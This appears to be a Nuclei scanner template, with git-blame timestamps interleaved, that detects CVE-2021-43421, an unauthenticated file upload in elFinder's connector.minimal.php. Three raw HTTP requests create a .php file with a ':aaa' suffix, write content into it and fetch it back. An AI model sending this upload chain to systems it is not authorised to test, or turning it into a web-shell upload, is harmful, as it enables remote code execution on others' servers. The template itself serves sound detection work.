2022-11-24 05:35:34 +00:00
id : CVE-2021-43421
info :
2023-01-16 17:41:15 +00:00
name : Studio-42 elFinder <2.1.60 - Arbitrary File Upload
2022-11-24 05:35:34 +00:00
author : akincibor
severity : critical
2022-11-24 05:39:24 +00:00
description : |
2023-01-16 17:41:15 +00:00
Studio-42 elFinder 2.0.4 to 2.1.59 is vulnerable to unauthenticated file upload via connector.minimal.php which could allow a remote user to upload arbitrary files and execute PHP code.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability could allow an attacker to upload malicious files to the server and execute arbitrary code.
2023-09-06 12:09:01 +00:00
remediation : |
Upgrade to the latest version of Studio-42 elFinder plugin (2.1.60 or higher) to mitigate this vulnerability.
2022-11-24 05:35:34 +00:00
reference :
- https://github.com/Studio-42/elFinder/issues/3429
2022-11-28 08:04:24 +00:00
- https://twitter.com/infosec_90/status/1455180286354919425
2023-01-16 17:41:15 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2021-43421
2022-11-24 05:39:40 +00:00
classification :
2022-11-28 08:04:24 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
2022-11-24 05:39:40 +00:00
cve-id : CVE-2021-43421
2022-11-28 08:04:24 +00:00
cwe-id : CWE-434
2024-01-14 13:49:27 +00:00
epss-score : 0.06629
epss-percentile : 0.93112
2023-09-06 12:09:01 +00:00
cpe : cpe:2.3:a:std42:elfinder:*:*:*:*:*:*:*:*
2022-11-24 05:39:40 +00:00
metadata :
2023-06-04 08:13:42 +00:00
verified : true
2023-09-06 12:09:01 +00:00
max-request : 3
2023-07-11 19:49:27 +00:00
vendor : std42
product : elfinder
2023-12-05 09:50:33 +00:00
tags : cve,cve2021,elfinder,fileupload,rce,intrusive,std42
2022-11-24 05:35:34 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-11-24 05:35:34 +00:00
- raw :
- |
2022-11-24 05:39:24 +00:00
GET /elFinder/php/connector.minimal.php?cmd=mkfile&target=l1_Lw&name={{randstr}}.php:aaa HTTP/1.1
2022-11-24 05:35:34 +00:00
Host : {{Hostname}}
Accept : */*
- |
2022-11-24 11:10:36 +00:00
GET /elFinder/php/connector.minimal.php?cmd=put&target={{hash}}&content={{randstr_1}} HTTP/1.1
2022-11-24 05:35:34 +00:00
Host : {{Hostname}}
- |
2022-11-24 05:39:24 +00:00
GET /elfinder/files/{{randstr}}.php%3Aaaa?_t= HTTP/1.1
2022-11-24 05:35:34 +00:00
Host : {{Hostname}}
Accept : */*
2022-11-24 05:39:24 +00:00
matchers :
- type : dsl
dsl :
2022-11-24 11:10:36 +00:00
- 'contains(body_3, "{{randstr_1}}")'
2022-11-24 05:39:24 +00:00
- "status_code == 200"
condition : and
2022-11-24 05:35:34 +00:00
extractors :
- type : regex
name : hash
group : 1
regex :
- '"hash"\:"(.*?)"\,'
2022-11-24 05:39:24 +00:00
internal : true
2024-01-14 14:05:19 +00:00
# digest: 4a0a00473045022100b394ff5fa8c2e22864cb2bca2464c7d379ffdf152bff3113a4216622ab5e5e7a02200940f95b33b969b7d4456d8ddf99c8e546f0a431538b4c971f362c441bae2c9d:922c64590222798bb761d5b6d8e72950